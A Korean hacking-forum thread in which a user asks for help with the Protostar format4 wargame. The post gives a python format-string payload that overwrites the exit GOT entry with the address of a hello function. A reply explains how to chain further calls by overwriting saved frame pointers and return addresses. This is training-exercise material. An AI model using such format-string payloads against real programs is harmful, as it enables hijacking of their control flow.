시스템 해킹

 1576, 1/79 회원가입  로그인  
   tkakr7458
   format string bug + got overwite

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1864 [복사]


흐으.. 사진을 못올려서 설명하기 힘드네요 ㅠㅠ

https://exploit-exercises.com/protostar/format4/

위 주소는 소스 이구요

exit 를 hello 으로 overwite 할라고 합니다.

hello = 0x080484b4 이고
exit@got = 0x8049718 입니다.

format offset은 4 입니다. ( "AAAA %x%x%x%x" 했을때 4 번째에 나옴)

(python -c 'print "\x18\x97\x04\x08"+"134513840%x"+"%4$n")
                                exit@got                helle정수-4

이런식으로 하면 overwite가 되는것은 알겠는데 연속해서 hello를 호출하는 방법을 몰르겠습니다. 도와주십쇼ㅠㅠ

  Hit : 3324     Date : 2017/04/19 08:28



    
해쿨러 이 문제 자체의 의도는 hello를 한번만 호출하란건데, hello에 _exit이 있어서 어차피 hello간다음에 종료하겠지만 만약에 없는 상황에서 연속해서 호출하는 방법은 스택을 덮어야 합니다
exit함수의 GOT를 인자 1을 받아도 정상진행하는 함수 예를들어 execve로 덮고(execve는 인자가 잘못되도 프로그램이 종료되지 않습니다)
그다음에 sfp의 포인터를 찾습니다, 즉 main함수의 sfp를 vuln함수의 sfp가 가르키고 있으니 vuln함수의 sfp에 %n으로 주소를 덮어서 main함수의 ret부터 쭉 페이로드를 fsb로 덮으면 fsb로도 call chaining을 할 수 있습니다
2017/04/20  
해쿨러 http://www.hackerschool.org/Sub_Html/HS_Posting/?uid=38 2017/04/20  
tkakr7458 감사합니다. ㅠㅠ 2017/04/20